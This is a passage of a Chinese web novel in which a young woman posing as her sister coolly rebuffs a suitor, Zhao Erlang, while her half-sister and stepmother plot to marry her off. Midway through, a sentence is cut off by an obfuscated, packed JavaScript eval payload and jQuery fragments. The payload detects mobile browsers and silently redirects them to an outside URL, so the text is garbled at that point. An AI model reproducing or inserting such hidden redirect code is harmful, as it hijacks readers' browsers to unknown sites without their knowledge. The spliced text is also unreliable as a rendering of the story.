姐姐与赵二郎难道有什么情愫?
关怀素差点没因为这个可能性吓得头脑一片空白,得亏她见惯风浪,勉强稳住了情绪。
好在关怀素还没想到如何处置,赵二郎就急的一叠声说:“婉玉妹妹,上次在赏花宴上,你被福宁郡主斥责,而我没有站出来为你说话,你可是心中怪我?”
“没、没有。”关怀素闻言,见不是私情,登时镇定下来,沉声说,“此事与二哥哥无关,且我在庄子上也过得很好,婉玉不会为此事怪罪任何人。”
这当然是场面话,姐姐被赶去庄子上的起因,关怀素打听的清楚。
便是赵二郎口中这个福宁郡主,当时举办了一个小宴。
这位福宁郡主并不是皇家血脉,但是福宁郡主之父与先皇一起打下江山,是最受先皇信任的军师,如今画像还挂在太庙里,位列内阁二十四功臣之首。
军师当初据说智计过人,但是天妒英才,天生羸弱,因此在先皇开国后没享几年福就去了,不但如此,军师临终之前只留下一个遗腹子,就是福宁郡主。
先帝感念军师一生只得这一点骨血,因此当初福宁郡主一生下来,先皇就给了她郡主封号,又念在自己与皇后年迈,亲自吩咐由当时的太子妃、也就是如今的皇后养在膝下,以示恩荣。
是以哪怕后来先皇去世,今上登位,福宁郡主依旧风头不落,名义是郡主,实际与公主无异。
可想而知,这福宁郡主绝对不是个好相与的性子。
根据碧桃与兰花交代,当日姐姐参加福宁郡主的赏春宴时,席间被一个小丫鬟洒了酒,于是郡主让人带她去隔壁换一身衣衫,姐姐便先离席。
原也是普通的一件事,但是不知为何,丫鬟却把姐姐带出了宴客的院子,刚巧遇到来访的太子。
按姐姐后来所说,她本来第一时间就避到了花园后的拐角照壁里,结果身后的丫鬟没站稳,把她一撞,她就跌了出去,刚巧摔在了太子跟前。
这可是大失礼。
当时姐姐跪下请罪,却马上被太子身边人质问是哪家人,又是为何在这里。
姐姐回答完,太子一行人就走了。
姐姐当时只当这场风波过去了,可晚宴尾声,福宁郡主不知为何当众说了此事,又笑着说:“李姐姐,太子身边伴读说话直接,你不要放在心上。”
若是关怀素立刻就知道,当场应该立刻回答这是个巧合,赶紧把此事过去,绝对不可失了先机。
但是姐姐性子被养的太单纯,傻傻地问了一句:“什么?”
姐姐当时只是下意识地反问,但是郡主大约就等着她这句,就笑着说:“宋三郎说,每逢与太子结伴,总能遇到女子跌跤,实在烦人。”
说完,周围窃笑声一片。
这便是指着鼻子骂李婉玉不是好东西,想攀龙附凤了。
若是关怀素,哪怕是当场与郡主面上不好看,也得把此事撇干净。
但是姐姐没有人教养如何处理这种事情,她当时哑口无言,臊了个大红脸,竟是哭着回家的。
关怀素当日听到此事,知道姐姐定然是被人故意设计出丑,她只要想到此事,心中便极其愤怒,此刻听到这个赵二郎居然还拿此事试探姐姐,顿时心中更是怒火冲天。
他们也算是通家之好,赵二郎当时没站出来为姐姐说话,已经是极其冷漠,如今又特地拿出来为自己分辩,试探姐姐是否对他还有情义,此为小人。
此等冷漠小人站在面前,竟还笑着偷窥自己的面色,关怀素心中大怒,却知道自己不能与他翻脸,只能冷着一张脸,做出诧异的表情看赵二郎说:“我为何要与二哥哥生气?当日郡主府上那丫鬟撞我出去跌跤,我怕说出来,反倒是显得我栽赃嫁祸,不过是一些误解而已……我心无龃龉,外人如何说,又何必放在心上呢?”
关怀素一笑,看着愣了一下的赵二郎,又行了一个礼说:“二哥哥真的不用介怀,婉玉虽没学过大道理,但是尚知道有句诗,叫‘洛阳亲友如相问,一片冰心在玉壶。’,婉玉之心天地可鉴,倒也不需要所有人都能明白。”
说完,关怀素站起来,带着柳叶往自己的小院里走了。
赵二郎愣在原地,呆呆地看着她的裙摆转了个弯,消失在转角处。
不远处躲着的小厮走出来,轻声说:“郎君,该出去了,李大人要问了。”
“你说,婉玉她……”赵二郎愣愣地对小厮说,“是不是变漂亮了许多?”
小厮愣了一下,左顾右盼,生怕有李家的下人听到这句话,要知道在她们面前如此说倒是不要紧,但是问题是赵二郎他躲在人家家里这样说,不免显得轻浮油滑,因此小厮只一叠声低声说:“郎君,出去再说罢!”
赵二郎被小厮带着出去,心中一直留恋地想着方才关怀素在自己面前说话的样子。
那个平日被他夸一句就要脸通红低头的姑娘,平日若是遇到自己偷偷找过来解释,只怕当场就要感动地流下一串眼泪来。
但是今日却完全变了,那个脸红的姑娘消失了,她并不为自己的解释而开心,甚至也不再为流言困扰,她只是坦荡地说“一片冰心在玉壶”,然后就离开了。
她穿着打扮都十分寻常,也没有特地装扮。
但是依然漂亮的让人移不开眼睛。
赵二郎平日对婉蓉婉淑都很好,对李婉玉可真真也是一点也没怠慢。
因男人都看得出来,李婉玉虽不太会打扮、有些笨拙,且看得出来在家也不受宠,确实不是个联姻的好对象。
但是她却真的生的一副极好的皮囊,清艳绝伦,哪怕平素有些畏畏缩缩,美貌大打折扣,却依然还是不输给美艳的婉蓉。
赵二郎也是个年爱慕艾的年轻人,他条件好,想说亲,那满京师都是好人家。
但是他一直对李家几个姑娘很好,其一乃是因为父亲与李珺私交甚笃,二人同为王相一脉,一直互相扶持,其二乃是因为李珺身为大儒关怀远的女婿,在朝野之中的情面与一般官宦完全不同,虽目前还在从五品,但是身在吏部考功司这种关键位置,且年纪比赵二郎的父亲年轻十余岁,未来前程说不好不比赵大人差。
因为其间种种原因,所以两家早默认有联姻之意。
因此赵二郎来李家,才能被李珺郑重招待,还能进入内院,被当成半个自己人。
这件事情全家上下,只怕只有李婉玉还不知道,赵二郎自己自然是知道的清清楚楚,甚至赵二郎理智上还知道得十分清楚,以他的身份,若是正妻人选,非继室大娘子所出的婉淑不可。
李婉玉虽身份高,但是满京师谁不知道她是个上不得台面的?
至于婉蓉,虽长得漂亮,但是她到底是妾室所出,根基薄了些,论婚配,只怕只能往低处选了。
但是赵二郎心中却有些遗憾,因婉淑是李家三个女儿之中颜色最平庸的一个,虽性子、处世方面都十分通透豁达,为长辈称赞,但是赵二郎到底心中还是有些意不平。
这也是他一直对李家三个姑娘都一样殷勤的原因。
且三个姑娘都喜欢他,这对赵二郎来说也极其骄傲快活,舍不得抛切。
只是婉玉今日对他竟如此不假辞色,谈吐比婉淑甚至都看着开阔许多,气度不凡,不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183299|181019||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
免让赵二郎心中有了完全不一样的新鲜感。
他心中琢磨着方才婉玉的话,一路出去了,却不晓得在不远处的框景窗里鬼鬼祟祟地钻出一个下人来,左右看了下四下无人,悄无声息地从框景窗里翻出来,一路往二门东院里去了。
而另一边的拐角屏风后头也悄悄走出来一个下人,一面往西院去了。
赵二郎还完全不知道,李家这样小的地方,与他家那种大宅后院完全不同,他自以为隐蔽,但是其实他说的每句话、甚至神态举止都已经在最快的时间被有心人得知了。
东院里,婉淑气得捏紧了帕子,在大娘子眼前掉眼泪。
孙大娘子拿剪子修剪眼前的菊花枝,任婉淑哭到主动止住眼泪,眼前的花瓶插好,才慢声问:“哭好了?”
“娘!”婉淑气得眼泪又下来了,连声说,“我今日辛辛苦苦打扮,不如婉蓉就算了,到如今二哥哥竟对李婉玉那个木头疙瘩也比对我好,我还不哭,我什么时候哭啊?!”
说完,婉淑眼泪又不断地掉出来。
孙大娘子叹了口气,转身看着她,说:“淑儿,你看看我,你娘我可是靠着美色拴住了你爹的心?”
婉淑顿时不哭了,有些愣怔地看着自家阿娘,因为她非常清楚,阿娘样貌只算是非常普通,比起自己尚且还差了一些,更别提比后院的崔小娘了。
孙大娘子看着婉淑冷静下来,才点点头,温声说:“可算是能听得进去话了。”
她坐在婉淑的面前,让人都退下,两母女开始说贴心话。
孙大娘子温声说:“西院那个被她娘教的骨头没三两重,我是不担心她的。但是你那个大姐,素日我没放在眼里,这次回来却像是变了个人一般,倒是让我也有些担忧。”
婉淑听阿娘这么说,顿时立刻点头,连声说:“素日二哥哥对我们都是一样的,阿娘,我真的不是眼皮子浅的人,但是今日下人都说二哥哥神色与往日不一样,像是心里真起了心思了,娘,我担心……”
“才一会儿两会儿的,出不了事。”孙大娘子倒是镇定,先安慰女儿,“别因为一点点事情就乱了方寸,到时候嫁出去怎么当家?若是遇到西院那样的,你这个性子怎么笼络夫君,怎么经营好自己的日子?万事一定不要先自乱阵脚。”
说完,看婉淑用帕子擦干净脸,孙大娘子才点头,温声说:“不错,任何时候,都要轻、慢,要胸有成竹。”
婉淑依言抬头挺胸,恢复端庄之色,只是眼睛还是红红的,还有些泪水。她恢复好仪态,吸吸鼻子,带着鼻音问孙大娘子:“阿娘,那到底怎么办啊?难道眼看着二哥哥喜欢上她?”
“无需担心,你们这个年纪,是该议亲了……你姐姐这样子,也很该给她找个合适的好人家才是。”孙大娘子倒是早在婉淑哭的时候就把事情想清楚了,她笑着摸着婉淑的头,说,“把你大姐姐嫁出去,你才好开始议亲。”
婉淑瞬间就懂了阿娘的意思,眼前一亮,说:“对啊!给大姐姐找个其他人家先嫁人,二哥哥自然不会惦记啦!”
说完她开心地抱住孙大娘子,连声说:“阿娘你真好!”
孙大娘子笑着反手抱住婉淑,摸了摸她的头发,轻声说:“你放心,该是你的,谁都抢不走。”
就像她当年,其实李珺续弦选择可不少,但是最终能落在她一个借住在舅母家的县丞之女身上,靠的从来也不是美色或是拉拢男人,而是让长辈们最后觉得选她最为合适。
在此之前,只需要把其他条件更好的人排除出去就好。
她的女儿,一定能得偿所愿,且必须得偿所愿。